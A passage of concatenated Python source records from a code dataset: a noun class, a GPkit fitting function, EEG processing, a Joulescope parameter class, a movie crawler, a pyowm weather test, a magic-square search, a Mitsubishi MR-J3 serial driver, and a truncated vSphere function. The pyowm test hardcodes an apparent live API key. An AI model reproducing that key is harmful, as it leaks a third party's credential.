header\nclass _BATHROBES(_BATHROBE, ):\n\tdef __init__(self,): \n\t\t_BATHROBE.__init__(self)\n\t\tself.name = \"BATHROBES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"bathrobe\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_bathrobes.py","file_name":"_bathrobes.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"243590169","text":"from numpy import append, ones, exp, sqrt, mean, square\nfrom gpkit.nomials import (Posynomial, Monomial, PosynomialInequality,\n MonomialEquality)\nfrom implicit_softmax_affine import implicit_softmax_affine\nfrom softmax_affine import softmax_affine\nfrom max_affine import max_affine\nfrom LM import LM\nfrom generic_resid_fun import generic_resid_fun\nfrom max_affine_init import max_affine_init\nfrom print_fit import print_ISMA, print_SMA, print_MA\n\ndef fit(xdata, ydata, K, ftype=\"ISMA\", varNames=None):\n '''\n Fits a log-convex function to multivariate data and returns a GP-compatible constraint\n\n INPUTS\n xdata: Independent variable data \n 2D numpy array [nDim, nPoints]\n [[<--------- x1 ------------->]\n [<--------- x2 ------------->]]\n\n ydata: Dependent variable data\n 1D numpy array [nPoints,]\n [<---------- y ------------->]\n\n K: Number of terms in the fit\n integer > 0\n\n ftype: Fit type\n one of the following strings: \"ISMA\" (default), \"SMA\" or \"MA\"\n\n varNames: List of variable names strings\n Independent variables first, with dependent variable at the end\n Default value: ['u_1', 'u_2', ...., 'u_d', 'w']\n\n OUTPUTS\n cstrt: GPkit PosynomialInequality object\n For K > 1, this will be a posynomial inequality constraint\n If K = 1, this is automatically made into an equality constraint\n If MA fit and K > 1, this is a list of constraint objects\n\n rmsErr: RMS error\n Root mean square error between original (not log transformed)\n data and function fit.\n '''\n\n # Check data is in correct form\n if ydata.ndim > 1:\n raise ValueError('Dependent data should be in the form of a 1D numpy array')\n\n # Transform to column vector\n ydata = ydata.reshape(ydata.size,1)\n\n if xdata.ndim == 1:\n xdata = xdata.reshape(xdata.size,1)\n else:\n xdata = xdata.T\n\n # Dimension of function (number of independent variables)\n d = xdata.shape[1]\n\n # Create varNames if None\n if varNames == None:\n varNames = []\n for i in range(d):\n varNames.append('u_{0:d}'.format(i+1))\n varNames.append('w')\n\n # Initialize fitting variables\n alphainit = 10\n bainit = max_affine_init(xdata, ydata, K)\n\n if ftype == \"ISMA\":\n\n def rfun (p):\n return generic_resid_fun(implicit_softmax_affine, xdata, ydata, p)\n [params, RMStraj] = LM(rfun, append(bainit.flatten('F'), alphainit*ones((K,1))))\n\n # Approximated data\n y_ISMA, _ = implicit_softmax_affine(xdata, params)\n w_ISMA = exp(y_ISMA)\n\n # RMS error\n w = (exp(ydata)).T[0]\n #rmsErr = sqrt(mean(square(w_ISMA-w)))\n rmsErr = sqrt(mean(square(y_ISMA-ydata.T[0])))\n\n alpha = 1./params[range(-K,0)]\n\n # A: exponent parameters, B: coefficient parameters\n A = params[[i for i in range(K*(d+1)) if i % (d + 1) != 0]]\n B = params[[i for i in range(K*(d+1)) if i % (d + 1) == 0]]\n\n print_str = print_ISMA(A, B, alpha, d, K)\n\n # Calculate c's and exp's for creating GPkit objects\n cs = []\n exps = []\n for k in range(K):\n cs.append(exp(alpha[k] * B[k]))\n expdict = {}\n for i in range(d):\n expdict[varNames[i]] = alpha[k] * A[k*d + i]\n expdict[varNames[-1]] = -alpha[k]\n exps.append(expdict)\n \n cs = tuple(cs)\n exps = tuple(exps)\n\n # Create gpkit objects\n # ISMA returns a constraint of the form 1 >= c1*u1^exp1*u2^exp2*w^(-alpha) + ....\n posy = Posynomial(exps, cs)\n cstrt = (posy <= 1)\n\n # # If only one term, automatically make an equality constraint\n if K == 1:\n cstrt = MonomialEquality(cstrt, \"=\", 1)\n\n elif ftype == \"SMA\":\n\n def rfun (p):\n return generic_resid_fun(softmax_affine, xdata, ydata, p)\n [params, RMStraj] = LM(rfun, append(bainit.flatten('F'), alphainit))\n\n # Approximated data\n y_SMA, _ = softmax_affine(xdata, params)\n w_SMA = exp(y_SMA)\n\n # RMS error\n w = (exp(ydata)).T[0]\n #rmsErr = sqrt(mean(square(w_SMA-w)))\n rmsErr = sqrt(mean(square(y_SMA-ydata.T[0])))\n\n alpha = 1./params[-1]\n\n A = params[[i for i in range(K*(d+1)) if i % (d + 1) != 0]]\n B = params[[i for i in range(K*(d+1)) if i % (d + 1) == 0]]\n\n print_str = print_SMA(A, B, alpha, d, K)\n\n # Calculate c's and exp's for creating GPkit objects\n cs = []\n exps = []\n for k in range(K):\n cs.append(exp(alpha * B[k]))\n expdict = {}\n for i in range(d):\n expdict[varNames[i]] = alpha * A[k*d + i]\n exps.append(expdict)\n \n cs = tuple(cs)\n exps = tuple(exps)\n\n # Creates dictionary for the monomial side of the constraint\n w_exp = {varNames[-1]: alpha}\n\n # Create gpkit objects\n # SMA returns a constraint of the form w^alpha >= c1*u1^exp1 + c2*u2^exp2 +....\n posy = Posynomial(exps, cs)\n mono = Monomial(w_exp, 1)\n cstrt = (mono >= posy)\n\n # # If only one term, automatically make an equality constraint\n if K == 1:\n cstrt = MonomialEquality(cstrt, \"=\", 1)\n\n\n elif ftype == \"MA\":\n\n def rfun(p):\n return generic_resid_fun(max_affine, xdata, ydata, p)\n [params, RMStraj] = LM(rfun, bainit.flatten('F'))\n\n # Approximated data\n y_MA, _ = max_affine(xdata, params)\n w_MA = exp(y_MA)\n\n # RMS error\n w = (exp(ydata)).T[0]\n #rmsErr = sqrt(mean(square(w_MA-w)))\n rmsErr = sqrt(mean(square(y_MA-ydata.T[0])))\n\n A = params[[i for i in range(K*(d+1)) if i % (d + 1) != 0]]\n B = params[[i for i in range(K*(d+1)) if i % (d + 1) == 0]]\n\n print_str = print_MA(A, B, d, K)\n\n w_exp = {varNames[-1]: 1}\n mono1 = Monomial(w_exp,1)\n\n cstrt = []\n for k in range(K):\n cs = exp(B[k])\n\n exps = {}\n for i in range(d):\n exps[varNames[i]] = A[k*d + i]\n mono2 = Monomial(exps, cs)\n cstrt1 = PosynomialInequality(mono2, \"<=\", mono1)\n cstrt.append(cstrt1)\n\n if K == 1:\n cstrt = MonomialEquality(mono2, \"=\", mono1)\n\n return cstrt, rmsErr\n\n","sub_path":"gpfit/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":6730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"498199647","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 26 14:21:24 2018\n\n@author: iris\n\"\"\"\n\n\nfrom Traitement_fich import*\n\ntime=60 #Au debut\n\nchemin ='/Users/iris/Desktop/Projet_Rech/Exemple/EEG_58_Sig/Donnes_signaux/' #à changer selon les ordinateurs\n\nT=[round(i/512,6) for i in range(1,time*512+1)]\n\ncharB=chemin+\"B3-B2N3_60s.txt\"\ncharO=chemin+\"O'9-O'8N3_60s.txt\"\n##Afin de pouvoir étudier les motifs sur un nouvel alogrithme, on veut avoir \n\n#On extrait la série temporelle brut : #\n#Pour B\n#YB=open_data(charB)[0:time*512]\n#YO=open_data(charO)[0:time*512]\n\n#On extrait la série en puissance il faut qu'elle soit de la même longueur\nPB=calc_puiss(charB,T,h=1,opt='ripples')[0] #on choisit de faire un pas de 1\nPO=calc_puiss(charO,T,h=1,opt='delta')[0]\n#aff_puiss(chemin+charB,T,h=5,opt='ripples')\n\nfich1=open(\"puiss\"+charB[66:-4]+\".txt\",\"w\")\nfich1.write('Puissance du signal\\n')\nfich1.write(charB[66:-4]+'\\n')\nfor elem in PB : \n fich1.write(str(elem)+'\\n')\nfich1.close()\n\nfich2=open(\"puiss\"+charO[66:-4]+\".txt\",\"w\")\nfich2.write('Puissance du signal\\n')\nfich2.write(charO[66:-4]+'\\n')\nfor elem in PO : \n fich2.write(str(elem)+'\\n')\nfich2.close()\n\n#Construction D'un vecteur de 0 et de 1 correspondant à l'apparition de sharpw\n\nVB=vect_detect_pic(charB,T,'ripples',3,15)\nprint(len(VB))\nfich3=open(\"Vect_pic\"+charB[66:-4]+\".txt\",\"w\")\nfich3.write('Detection de pic en amplitude \\n')\nfich3.write(charB[66:-4]+'\\n')\nfor elem in VB : \n fich3.write(str(elem)+'\\n')\nfich3.close()\n#Construction d'un vecteur de 0 et de 1 caractérisant la présence de pic delta\n##Detection des pics delta de la même manière que l'on a détecté les sharp waves ripples\nVO=vect_detect_pic(charO,T,'delta',2,100)\nfich4=open(\"Vect_pic\"+charO[66:-4]+\".txt\",\"w\")\nfich4.write('Detection de pic en amplitude \\n')\nfich4.write(charO[66:-4]+'\\n')\nfor elem in VO : \n fich4.write(str(elem)+'\\n')\nfich4.close()\n#Construction d'un vecteur de 0 et de 1 caractérisant la présence de pic delta\n\n\n#vecteur pour la phase : \nphi=phase_delta(charB,charO,T,1)\nfich5=open(\"Phase_\"+charO[66:-4]+\".txt\",\"w\")\nfich5.write('Phase \\n')\nfich5.write(charO[66:-4]+'\\n')\nfor elem in phi : \n fich5.write(str(elem)+'\\n')\nfich5.close()\n","sub_path":"Creation_serieT.py","file_name":"Creation_serieT.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"525251873","text":"# Copyright 2018 Jetperch LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nclass Parameter:\n \"\"\"Define a single parameter accessible by the application.\n\n :param name: The parameter name.\n :param permission: The parameter permission which is either\n 'r' (read-only) or 'rw' (read-write).\n :param path: None if the parameter is only changed at the streaming start.\n 'setting' if the parameter is part of the settings packet.\n :param default: The default value.\n :param values: The list of acceptable values as ('name', value, ['alias1', ...]) tuples.\n :param units: The units string for the parameter.\n \"\"\"\n def __init__(self, name, permission, path, default, values, units=None):\n self.name = name\n self.permission = permission\n self.default = default\n self.path = path\n self.values = []\n self.str_to_value = {}\n self.units = units\n if permission not in ['rw', 'r']:\n raise ValueError('Parameter %s, invalid permission %r' % (name, permission))\n if values is None:\n return\n for idx, value in enumerate(values):\n if len(value) < 2 or len(value) > 3:\n raise ValueError('Parameter %s, value %d invalid: %r' % (name, idx, value))\n vname = value[0]\n vvalue = value[1]\n if not isinstance(vname, str):\n raise ValueError('Parameter %s, value %d invalid name %r' % (name, idx, vname))\n if len(value) == 2:\n value = (vname, vvalue, [])\n self.values.append(value)\n self._insert(vname, vvalue)\n for alias in value[2]:\n self._insert(alias, vvalue)\n\n if default not in [x[0] for x in values]:\n raise ValueError('Parameter %s, default %r not in ' % (name, permission))\n\n def _insert(self, key, value):\n if key in self.str_to_value:\n raise ValueError('Parameter %s: key %s already exists' % (self.name, key))\n self.str_to_value[key] = value\n","sub_path":"joulescope/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"232449182","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n#Author:lyf\n#Datetime:2020-8-16\n#Filename:main.py\n\n\nimport time\nfrom movie_db_ctl import movie_db\nfrom get_movie_url import get_movie_url\nfrom setting import web_site, web_site_dir\n\n'''\n简易电影天堂最新电影爬虫\n可以从第二页开始自动翻页爬取\n待解决问题:1,补充下载链接类型(解决)\n 2,抽取常量字符串(解决)\n 3,需要改为多线程版本增加效率 \n 4,爬取下一页时应改为正则表达式匹配下一页!\n'''\n\ndef main():\n start = time.time()\n i = 2 #设置开始页数\n\n while True:\n website_url = f'{web_site}{web_site_dir}/index_{i}.html'\n # print(website_url)\n print(f'第{i}页开始。。。')\n #获取字典\n movie_info_dict = get_movie_url(website_url)\n mb = movie_db()\n \n #循环插入数据库\n for k in movie_info_dict:\n if not mb.is_exist(k, movie_info_dict[k]):\n mb.movie_insert(k, movie_info_dict[k])\n else:\n continue\n print(f'已完成第{i}页')\n print('*'*100)\n print('\\n')\n i += 1\n if i > 312:\n break\n print(f'总共{i}页已完成')\n mb.db_close()\n end = time.time()\n print(str(end - start))\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"简易爬虫电影天堂最新电影/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"405075787","text":"from pyowm import OWM\nfrom datetime import datetime, date, time\n\nowm = OWM('c7ad9f76285435e69219354c33a7f859')\n\n'''reg = owm.city_id_registry()\nobs = owm.weather_at_id(5107152)\nprint(owm.weather_at_id(5107152))'''\n\n'''fc = owm.daily_forecast('Moscow, ru', limit=5)\n\nf = fc.get_forecast()\n\nlst = f.get_weathers()'''\n\nreg = owm.city_id_registry()\n\nlist = reg.ids_for('London')\nfor country in list:\n print(country[2])\n\nprint(' ')\n\nu_city = []\nfor city in list:\n f = 1\n if len(u_city) == 0:\n u_city.append(city)\n continue\n for obj_city in u_city:\n if city[2] == obj_city[2]:\n f = 0\n\n if f == 1:\n u_city.append(city)\n\nfor country in u_city:\n print(country[2])\n\n'''weather = obs.get_weather()\nprint(weather.get_temperature(unit='celsius')['temp'])'''","sub_path":"weather/Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"109852300","text":"\"\"\"Control your mrj3 via serial port.\n\n.. moduleauthor:: John Brodie \n\n\"\"\"\nfrom time import sleep\nimport json\nimport os\nimport logging\n\nimport serial\n\nimport array\nimport re\nimport shlex\n\nPATH = os.path.abspath(os.path.dirname(__file__)) + '/mrj3_configs/'\n\n\nBLU = '\\u001b[44;1m'\nCYN = '\\u001b[46;1m'\nGRN = '\\u001b[42;1m'\nMGT = '\\u001b[45;1m'\nRED = '\\u001b[41;1m'\nYEL = '\\u001b[43;1m'\nREVERSE = '\\u001b[7m'\nNORM = '\\u001b[0m'\n\nsSOH = '\\\\x01'\nsSTX = '\\\\x02'\nsETX = '\\\\x03'\nsEOT = '\\\\x04'\nuSOH = BLU + \"\\u210f\" + NORM # h-bar character w/ red background\nuSTX = BLU + \"\\u03b1\" + NORM # Greek alpha character w/ red background\nuETX = BLU + '\\u03c9' + NORM;\nrePatternSoh = sSOH + '(\\\\w)' + '([\\\\w ]+)' + sSTX + '(\\\\w.)' + '([\\\\w ]*)' + sETX + '([\\\\w ]+)'\nreSubStrSoh =\\\n uSOH + REVERSE + \"\\\\1\" + NORM + GRN + \"\\\\2\" + NORM + uSTX + GRN + '\\\\3' + NORM + \"\\\\4\" + uETX + YEL + \"\\\\5\" + NORM\n\"\"\"STX+Sta+Err+[Data]+ETX+Chk\"\"\" \"\"\"Data field is optional\"\"\"\nrePatternStx = sSTX + '(\\\\w)' + '(\\\\w)' + '(.*)' + sETX + '(\\\\w+)'\nreSubStrStx = uSTX + REVERSE + \"\\\\1\" + NORM + YEL + \"\\\\2\" + NORM + \"\\\\3\" + uETX + YEL + \"\\\\4\" + NORM\n\nclass CommandFailedError(Exception):\n \"\"\"A command failed, usually due to an invalid state change.\"\"\"\n\n\nclass CommandExceptionError(Exception):\n \"\"\"An executed command caused the device to return an error.\"\"\"\n\n\nclass InvalidConfigError(Exception):\n \"\"\"Loading the configuration failed as it is invalid.\"\"\"\n\n\nclass DeviceConfigMissingError(Exception):\n \"\"\"The specified device has no associated config file.\"\"\"\n\n\nclass InvalidCommandError(Exception):\n \"\"\"The given command or action is invalid for the specified device.\"\"\"\n\n\nclass Mrj3(object):\n\n possible_pyserial_settings = [\n 'port', 'baudrate', 'bytesize', 'parity', 'stopbits', 'timeout',\n 'xonxoff', 'rtscts', 'dsrdtr', 'writeTimeout', 'InterCharTimeout',\n ]\n pyserial_config_converter = {\n 'bytesize': {\n 5: serial.FIVEBITS,\n 6: serial.SIXBITS,\n 7: serial.SEVENBITS,\n 8: serial.EIGHTBITS,\n },\n 'parity': {\n 'none': serial.PARITY_NONE,\n 'even': serial.PARITY_EVEN,\n 'odd': serial.PARITY_ODD,\n 'mark': serial.PARITY_MARK,\n 'space': serial.PARITY_SPACE,\n },\n 'stopbits': {\n 1: serial.STOPBITS_ONE,\n 1.5: serial.STOPBITS_ONE_POINT_FIVE,\n 2: serial.STOPBITS_TWO,\n },\n\n }\n\n def __init__(\n self,\n port=None,\n device_id='benq',\n **kwargs\n ):\n \"\"\"Initialize a new Mrj3 object.\n\n :param port: The device name or port number your device is connected\n to. If left as ``None``, you must call :func:`open` with the port\n before issuing commands.\n\n :param device_id: The string which identifies the command set to use\n with your device.\n\n .. note::\n\n Currently, only the default value, 'benq', is supported. Please\n fill in a config file for your mrj3 and make a pull\n request!\n\n :param **kwargs: Any extra keyword args will be passed to the internal\n :mod:`pyserial` :class:`serial.Serial` object, and will override\n any device settings specified in the command set.\n\n \"\"\"\n self.port = port\n self.device_id = device_id\n self.get_config(device_id, kwargs)\n self.serial = self._initialize_pyserial(port)\n self._create_commands()\n\n def get_config(self, device_id, overrides):\n \"\"\"Get configuration for :mod:`pyserial` and the device.\n\n Any configuration values for the internal:mod:`pyserial`\n :class:`serial.Serial` specified will override the defaults from\n the device configuration. Any config values not specified will\n be left at the device default.\n\n :param device_id: The string which identifies the command set to use\n with your device.\n\n :param overrides: A dict of configuration values.\n\n \"\"\"\n self.available_configs = self._populate_configs()\n self.config = self.get_device_config_from_id(device_id)\n self._apply_overrides(overrides)\n self._validate_config()\n self.pyserial_config = self.get_pyserial_config()\n\n def _validate_config(self):\n \"\"\"Do basic sanity-checking on the loaded `config`.\"\"\"\n if 'serial' not in self.config:\n raise InvalidConfigError(\n 'Configuration file for {0} does not contain needed serial'\n 'config values. Add a `serial` section to the config.'.format(\n self.device_id)\n )\n if ('command_list' not in self.config or\n len(self.config['command_list']) == 0):\n raise InvalidConfigError(\n 'Configuration file for {0} does not define any commands. '\n 'Add a `serial` section to the config.'.format(\n self.device_id)\n )\n\n def _populate_configs(self):\n \"\"\"Load all json config files for devices.\n\n :returns: dict -- All available configs.\n\n \"\"\"\n configs = {}\n for f in os.listdir(PATH):\n if f.endswith('.json'):\n data = open(PATH + f)\n json_data = json.loads(data.read())\n name = os.path.splitext(f)[0]\n configs[name] = json_data\n return configs\n\n def _apply_overrides(self, overrides):\n \"\"\"Override specified values of the default configuration.\"\"\"\n self.config.update(overrides)\n\n def get_device_config_from_id(self, device_id):\n \"\"\"Get device configuration.\n\n :param device_id: The string which identifies the command set to use.\n\n :returns: dict -- The device configuration, including default\n :mod:`pyserial` settings, as well as the command set.\n\n :raises: DeviceConfigMissingError\n\n \"\"\"\n try:\n config = self.available_configs[device_id]\n except KeyError:\n raise DeviceConfigMissingError(\n 'Could not find device config with name {0}. '\n 'Check that the file exists in '\n ' `mrj3/mrj3_configs/`'.format(device_id)\n )\n return config\n\n def get_pyserial_config(self):\n \"\"\"Get the :mod:`pyserial` config values from the device config.\n\n This also checks that config values are sane, and casts them to\n the appropriate type, as needed.\n\n :func:`get_device_config_from_id` must be called before this method.\n\n :returns: dict -- The config values for :class:`serial.Serial`.\n :raises: InvalidConfigError\n\n \"\"\"\n serial_config = self.config['serial']\n for key, value in serial_config.items():\n if key not in self.possible_pyserial_settings:\n raise InvalidConfigError(\n 'Configuration file for {0} specifies a serial '\n 'setting \"{1}\" not recognized by pyserial. Check '\n 'http://pyserial.sourceforge.net/pyserial_api.html'\n 'for valid settings'.format(\n self.device_id, key)\n )\n if key in self.pyserial_config_converter:\n try:\n serial_config[key] = (\n self.pyserial_config_converter[key][value])\n except KeyError:\n raise InvalidConfigError(\n 'Configuration file for {0} specifies a serial '\n 'setting for \"{1}\" for key \"{2}\" not recognized '\n 'by pyserial. Check '\n 'http://pyserial.sourceforge.net/pyserial_api.html'\n 'for valid settings'.format(\n self.device_id, value, key)\n )\n return serial_config\n\n def _initialize_pyserial(self, port):\n \"\"\"Initialize the internal :class:`serial.Serial` object.\"\"\"\n return serial.Serial(port=port, **self.pyserial_config)\n\n def _send(self, data):\n logging.debug(\"_send: \" + repr(data))\n self.serial.write(data.encode())\n\n def _recv(self, size=1):\n data = self.serial.read(size).decode()\n if data:\n logging.debug(\"_recv: \" + repr(data))\n return data\n\n def _do_handshake(self):\n h = self.config.get('handshake')\n if h == None:\n return\n self._send(h['send'])\n sleep(h['wait'])\n expected = h['expect']\n resp = self._recv(len(expected))\n if resp != expected:\n logging.error(\"unexpected response to handshake \" + repr(resp))\n\n # def _command_handler(self, command, action, data):\n def _command_handler(self, station, command, action, data, error, xcommand):\n \"\"\"Send the `command` and `action` to the device.\n\n :param command: The command to send, for example, \"power\".\n :param action: The action to send, for example, \"on\".\n\n :returns: str -- The response from the device.\n\n :raises: InvalidCommandError if `action` is not valid for `command`.\n\n \"\"\"\n if command!='x':\n if action not in self.get_actions_for_command(command):\n raise InvalidCommandError(\n '{0} is not a valid action for comand {1}'.format(\n action, command)\n )\n command_string = self._create_command_string(station, command, action, data, error, xcommand)\n logging.info(\"send: \" + repr(command_string))\n logging.info(\"------ \" + re.sub(rePatternSoh, reSubStrSoh, command_string))\n self._do_handshake()\n self._send(command_string)\n sleep(self.config.get('wait_time', 1))\n response = self.get_response()\n logging.info(\"recv: \" + repr(response))\n logging.info(\"------ \" + re.sub(rePatternStx, reSubStrStx, response))\n\n self._check_response(response)\n return response\n\n def _strip_response(self, response):\n rs = right_surround=self.config.get('right_surround', '')\n ls = left_surround=self.config.get('left_surround', '')\n return response.rstrip(rs).lstrip(ls)\n\n def _check_response(self, response):\n \"\"\"Check for errors in the response.\"\"\"\n if response is None:\n return\n known_responses = self.config.get('known_responses')\n if known_responses:\n response = self._strip_response(response)\n if response in known_responses:\n print (known_responses[response])\n return\n else:\n raise CommandFailedError(\n 'Received an unknown response',\n response\n )\n failed_message = self.config.get('command_failed_message')\n if failed_message is not None and failed_message in response:\n raise CommandFailedError(\n 'Command failed! This is likely due to an invalid state '\n 'change.'\n )\n exception_message = self.config.get('exception_message')\n if exception_message is not None and exception_message in response:\n raise CommandExceptionError(\n 'Command caused an exception on the device. Your command '\n 'is likely invalid, check your json mrj3 config!'\n )\n\n def _create_commands(self):\n \"\"\"Add commands to class.\"\"\"\n # TODO: Clean this up.\n def _create_handler(command):\n def handler(station, action, data, error, xcommand):\n return self._command_handler(station, command, action, data, error, xcommand)\n return handler\n for command in self.command_spec:\n setattr(self, command, _create_handler(command))\n\n def get_response(self):\n \"\"\"Get any message waiting in the serial port buffer.\n\n :returns: str -- Response from the device, empty string if no response.\n\n \"\"\"\n response = ''\n # while self.serial.inWaiting() > 0:\n while self.serial.in_waiting > 0:\n response += self._recv(1)\n return response\n\n def _create_command_string(self, station, command, action, data, error, xcommand):\n \"\"\"Create a command string ready to send to the device.\n\n .. note:: The `command` param will be translated from english\n to the proper command for the device.\n\n \"\"\"\n try:\n stationValue = int(station.upper(), 10)\n \"\"\"Keep 0,1,...,8,9 as is\"\"\"\n \"\"\"Convert 10,11,...,30,31 to A,B,...,U,V\"\"\"\n if 0 <= stationValue <= 9:\n serial_station = chr(stationValue + (ord('0')-0))\n elif 10 <= stationValue <= 31:\n serial_station = chr(stationValue + (ord('A')-10))\n except:\n \"\"\"Allow g,h,...,u,v or G,H,...,U,V\"\"\"\n serial_station = station.upper()\n\n if command == 'x':\n serial_command = xcommand\n serial_action = action\n serial_data = data\n else:\n serial_command = self.command_spec[command]['command']\n serial_action = self.command_spec[command]['actions'][action]\n if 'data' in self.command_spec[command]:\n try:\n \"\"\"data is expected to be a string of hex bytes separated by white-space(s) or comma(s) ex: '0 9 2a f'\"\"\"\n \"\"\"for literal space character(s), bracket it with quotes ex. ' '\"\"\"\n serial_data = \"\".join(shlex.split(data))\n except:\n print(\"Error: Missing parameter!\")\n print(\"\\t...\" + \" \" + command + \" \" + serial_action + \" data(as string of hex bytes ex: '0 11 2a')\")\n exit()\n else:\n serial_data = \"\"\n\n if 'error' in self.command_spec[command]:\n try:\n \"\"\"data is expected to be an ascii coded hex byte \"\"\"\n serial_error = error\n except:\n print(\"Error: Missing parameter!\")\n print(\"\\t...\" + \" \" + command + \" \" + serial_action + \" error(as string of hex bytes ex: '0 11 2a')\")\n exit()\n else:\n serial_error = \"\"\n\n if command == \"slave\":\n command_without_chksum_string = (\n '{sta}{error}'\n '{data}{etx}'.format(\n sta=serial_station,\n error=serial_error,\n data=serial_data,\n etx=self.config.get('etx', '')\n )\n )\n command_string = (\n '{stx}{chksumed}{chksum}'.format(\n stx=self.config.get('stx', ''),\n chksumed = command_without_chksum_string,\n chksum = self.calc_chksum(command_without_chksum_string)\n )\n )\n elif command == \"eot\":\n command_string = (\n '{eot}'.format(\n eot=self.config.get('eot', ''),\n )\n )\n else:\n command_without_chksum_string = (\n '{sta}{command}{stx}'\n '{action}{data}{etx}'.format(\n sta=serial_station,\n command=serial_command,\n stx=self.config.get('stx', ''),\n action=serial_action,\n data=serial_data,\n etx=self.config.get('etx', '')\n )\n )\n command_string = (\n '{soh}{chksumed}{chksum}'.format(\n soh=self.config.get('soh', ''),\n chksumed = command_without_chksum_string,\n chksum = self.calc_chksum(command_without_chksum_string)\n )\n )\n return command_string\n\n def calc_chksum(self, s):\n \"\"\"Return the checksum in ascii code of the bytes represented in string s.\"\"\"\n b = bytearray()\n b.extend(map(ord, s))\n total_chksum = sum(b)\n \"\"\"The desired chksum value is the last 2-digits in ascii code of the total_chksum\"\"\"\n total_chksum_in_ascii = \"{0:0{1}x}\".format(total_chksum, 2).upper()\n return total_chksum_in_ascii[-2:]\n\n def get_actions_for_command(self, command):\n \"\"\"Get a list of all valid actions for a given command.\"\"\"\n return self.command_spec.get(command, {}).get('actions').keys()\n\n @property\n def command_list(self):\n \"\"\"Get a list of all commands.\n\n :returns: dict -- List of valid commands.\n\n \"\"\"\n return self.config['command_list'].keys()\n\n @property\n def command_spec(self):\n \"\"\"Return all command specifications.\n\n :returns: dict -- All command specs, with the pattern:\n \"\": {\n \"command\": \"\",\n \"actions\": {\n \"\": \"\",\n ...,\n },\n },\n ...\n \"\"\"\n return self.config['command_list']\n","sub_path":"mrj3/Mrj3.py","file_name":"Mrj3.py","file_ext":"py","file_size_in_byte":17254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"211427264","text":"import itertools\nimport datetime\n# a = itertools.permutations(range(1,10),9)\n#\n# for i in a:\n# if i[0] + i[1] + i[2] == \\\n# i[3] + i[4] + i[5] == \\\n# i[6] + i[7] + i[8] == \\\n# i[0] + i[4] + i[8] == \\\n# i[2] + i[4] + i[6] == \\\n# i[0] + i[3] + i[6] == \\\n# i[1] + i[4] + i[7] == \\\n# i[2] + i[5] + i[8]:\n# print([i[0],i[1],i[2]],[i[3],i[4],i[5]], \\\n# [i[6], i[7], i[8]],sep='\\n')\n# print()\nprint(datetime.datetime.now())\nn = 4\nl = itertools.permutations([i+1 for i in range(n*n)])\n\n# l = [[i+1 for i in range(9)],[9,3,1,2,5,6,7,8,4]]\nfor a in l:\n sum_oblique_left = sum((a[0 : n*n : n+1]))\n if sum_oblique_left == 34 :\n sum_oblique_right = sum(a[n-1 : n*(n-1)+1 : n-1])\n if sum_oblique_right == 34:\n\n\n sum_horizon = []\n sum_vertical = []\n\n for i in range(n):\n sum_horizon.append(sum(a[i*n : (i+1)*n]))\n sum_vertical.append(sum(a[i : n*(n-1)+i+1 : n]))\n\n sum_line = set(sum_horizon + sum_vertical)\n if len(sum_line) == 1:\n print(a)\n print(sum_line)\n\nprint(datetime.datetime.now())\n","sub_path":"jiugongge.py","file_name":"jiugongge.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"164493649","text":"def reconfigure_vm(vsphere_client, vm, module, esxi, resource_pool, cluster_name, guest, vm_extra_config, vm_hardware, vm_disk, vm_nic, state, force):\n spec = None\n changed = False\n changes = {\n \n }\n request = None\n shutdown = False\n poweron = vm.is_powered_on()\n devices = []\n memoryHotAddEnabled = bool(vm.properties.config.memoryHotAddEnabled)\n cpuHotAddEnabled = bool(vm.properties.config.cpuHotAddEnabled)\n cpuHotRemoveEnabled = bool(vm.properties.config.cpuHotRemoveEnabled)\n (changed, changes) = update_disks(vsphere_client, vm, module, vm_disk, changes)\n vm.properties._flush_cache()\n request = VI.ReconfigVM_TaskRequestMsg()\n if vm_extra_config:\n spec = spec_singleton(spec, request, vm)\n extra_config = []\n for (k, v) in vm_extra_config.items():\n ec = spec.new_extraConfig()\n ec.set_element_key(str(k))\n ec.set_element_value(str(v))\n extra_config.append(ec)\n spec.set_element_extraConfig(extra_config)\n changes['extra_config'] = vm_extra_config\n if ('memory_mb' in vm_hardware):\n if (int(vm_hardware['memory_mb']) != vm.properties.config.hardware.memoryMB):\n spec = spec_singleton(spec, request, vm)\n if vm.is_powered_on():\n if force:\n if (not memoryHotAddEnabled):\n shutdown = True\n elif (int(vm_hardware['memory_mb']) < vm.properties.config.hardware.memoryMB):\n shutdown = True\n elif (not memoryHotAddEnabled):\n module.fail_json(msg='memoryHotAdd is not enabled. force is required for shutdown')\n elif (int(vm_hardware['memory_mb']) < vm.properties.config.hardware.memoryMB):\n module.fail_json(msg='Cannot lower memory on a live VM. force is required for shutdown')\n spec.set_element_memoryMB(int(vm_hardware['memory_mb']))\n changes['memory'] 